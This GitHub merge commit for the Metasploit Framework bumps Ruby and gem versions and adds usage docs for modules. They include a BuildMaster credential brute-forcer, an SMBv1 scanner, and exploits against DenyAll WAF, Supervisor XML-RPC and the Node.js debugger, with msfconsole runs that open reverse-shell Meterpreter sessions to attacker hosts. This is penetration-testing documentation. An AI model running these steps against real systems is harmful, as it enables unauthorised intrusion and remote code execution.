Skip to content

Commit f777e2a

Browse files
committed
Merge branch 'master' into fix_nmap_imports
bringing branch up to date
2 parents 51c1cdd + e39b7fd commit f777e2a

File tree

203 files changed

+1299
-458
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

203 files changed

+1299
-458
lines changed

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.4.1
1+
2.4.2

.travis.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ addons:
1212
language: ruby
1313
rvm:
1414
- '2.2'
15-
- '2.3.4'
16-
- '2.4.1'
15+
- '2.3.5'
16+
- '2.4.2'
1717

1818
env:
1919
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'

Dockerfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
FROM ruby:2.4.1-alpine
1+
FROM ruby:2.4.2-alpine
22
MAINTAINER Rapid7
33

44
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"

Gemfile.lock

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.8)
4+
metasploit-framework (4.16.9)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.7)
20+
metasploit-payloads (= 1.3.8)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.2.2)
2323
msgpack
@@ -150,7 +150,7 @@ GEM
150150
activemodel (~> 4.2.6)
151151
activesupport (~> 4.2.6)
152152
railties (~> 4.2.6)
153-
metasploit-payloads (1.3.7)
153+
metasploit-payloads (1.3.8)
154154
metasploit_data_models (2.0.15)
155155
activerecord (~> 4.2.6)
156156
activesupport (~> 4.2.6)
@@ -163,16 +163,16 @@ GEM
163163
recog (~> 2.0)
164164
metasploit_payloads-mettle (0.2.2)
165165
method_source (0.8.2)
166-
mini_portile2 (2.2.0)
166+
mini_portile2 (2.3.0)
167167
minitest (5.10.3)
168168
msgpack (1.1.0)
169169
multipart-post (2.0.0)
170170
nessus_rest (0.1.6)
171171
net-ssh (4.2.0)
172172
network_interface (0.0.2)
173173
nexpose (7.0.1)
174-
nokogiri (1.8.0)
175-
mini_portile2 (~> 2.2.0)
174+
nokogiri (1.8.1)
175+
mini_portile2 (~> 2.3.0)
176176
octokit (4.7.0)
177177
sawyer (~> 0.8.0, >= 0.5.3)
178178
openssl-ccm (1.2.1)
@@ -193,10 +193,9 @@ GEM
193193
activerecord (>= 4.0.0)
194194
arel (>= 4.0.1)
195195
pg_array_parser (~> 0.0.9)
196-
pry (0.10.4)
196+
pry (0.11.0)
197197
coderay (~> 1.1.0)
198198
method_source (~> 0.8.1)
199-
slop (~> 3.4)
200199
public_suffix (3.0.0)
201200
rack (1.6.8)
202201
rack-test (0.6.3)
@@ -308,7 +307,6 @@ GEM
308307
json (>= 1.8, < 3)
309308
simplecov-html (~> 0.10.0)
310309
simplecov-html (0.10.2)
311-
slop (3.6.0)
312310
sqlite3 (1.3.13)
313311
sshkey (1.9.0)
314312
thor (0.20.0)
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Description
2+
3+
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
4+
The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
5+
6+
## Vulnerable Application
7+
8+
[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
9+
10+
[Inedo website](http://inedo.com/)
11+
12+
## Verification Steps
13+
14+
1. Do: ```use auxiliary/scanner/http/buildmaster_login```
15+
2. Do: ```set RHOSTS [IP]```
16+
3. Do: ```set RPORT [PORT]```
17+
4. Do: Set credentials
18+
5. Do: ```run```
19+
6. You should see the module attempting to log in.
20+
21+
## Scenarios
22+
23+
### Attempt to login with the default credentials.
24+
25+
```
26+
msf > use auxiliary/scanner/http/buildmaster_login
27+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
28+
RHOSTS => 10.0.0.39
29+
msf auxiliary(buildmaster_login) > run
30+
31+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
32+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
33+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
34+
[*] Scanned 1 of 1 hosts (100% complete)
35+
[*] Auxiliary module execution completed
36+
msf auxiliary(buildmaster_login) >
37+
```
38+
39+
### Brute force with credentials from file.
40+
41+
```
42+
msf > use auxiliary/scanner/http/buildmaster_login
43+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
44+
RHOSTS => 10.0.0.39
45+
msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
46+
USERPASS_FILE => ~/BuildMasterCreds.txt
47+
msf auxiliary(buildmaster_login) > run
48+
49+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
50+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test"
51+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test"
52+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong"
53+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong"
54+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
55+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
56+
[*] Scanned 1 of 1 hosts (100% complete)
57+
[*] Auxiliary module execution completed
58+
msf auxiliary(buildmaster_login) >
59+
```
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Description
2+
This module scans for hosts that support the SMBv1 protocol. It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects:
3+
```PC NETWORK PROGRAM 1.0
4+
LANMAN1.0
5+
Windows for Workgroups 3.1a
6+
LM1.2X002
7+
LANMAN2.1
8+
NT LM 0.12
9+
```
10+
If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected.
11+
If the SMB server does not support SMBv1 a RST will be sent.
12+
13+
___
14+
# Usage
15+
16+
The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not.
17+
18+
#### A host that does support SMBv1.
19+
20+
```
21+
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
22+
msf auxiliary(smb1) > set RHOSTS x.x.x.x
23+
RHOSTS => x.x.x.x
24+
msf auxiliary(smb1) > run
25+
26+
[+] x.x.x.x:445 - x.x.x.x supports SMBv1 dialect.
27+
[*] Scanned 1 of 1 hosts (100% complete)
28+
[*] Auxiliary module execution completed
29+
msf auxiliary(smb1) > services -S x.x.x.x
30+
31+
Services
32+
========
33+
34+
host port proto name state info
35+
---- ---- ----- ---- ----- ----
36+
x.x.x.x 445 tcp smb1 open
37+
```
38+
39+
#### A host that does not support SMBv1
40+
41+
```
42+
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
43+
msf auxiliary(smb1) > set RHOSTS y.y.y.y
44+
RHOSTS => y.y.y.y
45+
msf auxiliary(smb1) > run
46+
47+
[*] Scanned 1 of 1 hosts (100% complete)
48+
[*] Auxiliary module execution completed
49+
```
50+
___
51+
52+
53+
## Options
54+
55+
The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation. It can also be set using hosts from the database using ```hosts -R```.
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
3+
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.
4+
5+
It's possible to have trial demo for 15 days at Amazon Marketplace.
6+
[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
7+
8+
You just need to follow instruction above URL.
9+
10+
## Verification Steps
11+
12+
A successful check of the exploit will look like this:
13+
14+
- [ ] Start `msfconsole`
15+
- [ ] `use use exploit/linux/http/denyall_exec`
16+
- [ ] Set `RHOST`
17+
- [ ] Set `LHOST`
18+
- [ ] Run `check`
19+
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
20+
- [ ] Run `exploit`
21+
- [ ] **Verify** that you are seeing `iToken` value extraction.
22+
- [ ] **Verify** that you are getting `meterpreter` session.
23+
24+
## Scenarios
25+
26+
```
27+
msf > use exploit/linux/http/denyall_exec
28+
msf exploit(denyall_exec) >
29+
msf exploit(denyall_exec) > set RHOST 35.176.123.128
30+
RHOST => 35.176.123.128
31+
msf exploit(denyall_exec) > set LHOST 35.12.3.3
32+
LHOST => 35.12.3.3
33+
msf exploit(denyall_exec) > check
34+
[*] 35.176.123.128:3001 The target appears to be vulnerable.
35+
msf exploit(denyall_exec) > exploit
36+
37+
[*] Started reverse TCP handler on 35.12.3.3:4444
38+
[*] Extracting iToken value from unauthenticated accessible endpoint.
39+
[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
40+
[*] Trigerring command injection vulnerability with iToken value.
41+
[*] Sending stage (40411 bytes) to 35.176.123.128
42+
[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
43+
44+
meterpreter > pwd
45+
/var/log/denyall/reverseproxy
46+
meterpreter >
47+
```
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
## Vulnerable Application
2+
3+
This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
4+
5+
This has been tested with versions 3.2.0 and 3.3.2
6+
7+
### Creating A Testing Environment
8+
9+
At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
10+
11+
1. ```sudo apt-get install supervisor```
12+
2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
13+
14+
```
15+
[inet_http_server] ; inet (TCP) server disabled by default
16+
port=:9001 ; ip_address:port specifier, *:port for all iface
17+
username=user ; default is no username (open server)
18+
password=123 ; default is no password (open server)
19+
```
20+
21+
3. Restart the service: `sudo service supervisor restart`
22+
23+
## Verification Steps
24+
25+
1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
26+
2. ```set lhost [IP]```
27+
3. ```set rhost [IP]```
28+
4. ```set httpusername user```
29+
5. ```set httppassword 123```
30+
6. ```exploit```
31+
7. A meterpreter session should have been opened successfully
32+
33+
## Options
34+
35+
**HttpUsername**
36+
37+
Username for HTTP basic auth which is set in the conf file(optional)
38+
39+
**HttpPassword**
40+
41+
Password for HTTP basic auth which is set in the conf file(optional)
42+
43+
**TARGETURI**
44+
45+
The path to the XML-RPC endpoint
46+
47+
## Scenarios
48+
49+
### Supervisor 3.2.0 on Xubuntu 16.04
50+
51+
```
52+
msf > use exploit/linux/http/supervisor_xmlrpc_exec
53+
msf exploit(supervisor_xmlrpc_exec) > set httpusername user
54+
httpusername => user
55+
msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
56+
httppassword => 123
57+
msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
58+
lhost => 192.168.0.2
59+
msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
60+
rhost => 192.168.0.19
61+
msf exploit(supervisor_xmlrpc_exec) > check
62+
63+
[*] Extracting version from web interface..
64+
[*] Using basic auth (user:123)
65+
[+] Vulnerable version found: 3.2.0
66+
[*] 192.168.0.19:9001 The target appears to be vulnerable.
67+
msf exploit(supervisor_xmlrpc_exec) > exploit
68+
69+
[*] Started reverse TCP handler on 192.168.0.2:4444
70+
[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
71+
[*] Using basic auth (user:123)
72+
[*] Sending stage (2878872 bytes) to 192.168.0.19
73+
[*] Command Stager progress - 100.00% done (782/782 bytes)
74+
[+] Request timeout, usually indicates success. Passing to handler..
75+
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
76+
77+
meterpreter >
78+
```
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Vulnerable Application
2+
3+
Current and historical versions of node (or any JS env based on the
4+
V8 JS engine) have this functionality and could be exploitable if
5+
configured to expose the JS port on an untrusted interface.
6+
7+
Install a version of node using any of the normal methods:
8+
* Vendor: https://nodejs.org/en/download/package-manager/
9+
* Distro: `sudo apt-get install nodejs`
10+
11+
Alternately, use standard node docker containers as targets:
12+
```
13+
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
14+
```
15+
(Others at https://hub.docker.com/_/node/)
16+
17+
Tested on Node 7.x, 6.x, 4.x
18+
19+
## Verification Steps
20+
21+
1. Run a node process exposing the debug port
22+
```
23+
node --debug=0.0.0.0:5858
24+
```
25+
26+
2. Exploit it and catch the callback:
27+
28+
```
29+
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
30+
```
31+
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
32+
33+
Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
34+
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
35+
36+
37+
## Scenarios
38+
39+
### Example Run (Node 7.x)
40+
41+
Victim:
42+
```
43+
$ node --version
44+
v7.10.0
45+
$ node --debug=0.0.0.0:5858
46+
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
47+
Debugger listening on 0.0.0.0:5858
48+
>
49+
(To exit, press ^C again or type .exit)
50+
```
51+
52+
Attacker:
53+
```
54+
msf exploit(nodejs_v8_debugger) > exploit
55+
56+
[*] Started reverse TCP handler on 10.0.0.141:4444
57+
[*] 127.0.0.1:5858 - Sending 745 byte payload...
58+
[*] 127.0.0.1:5858 - Got success response
59+
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
60+
61+
id
62+
(redacted)
63+
```
64+

0 commit comments

Comments
 (0)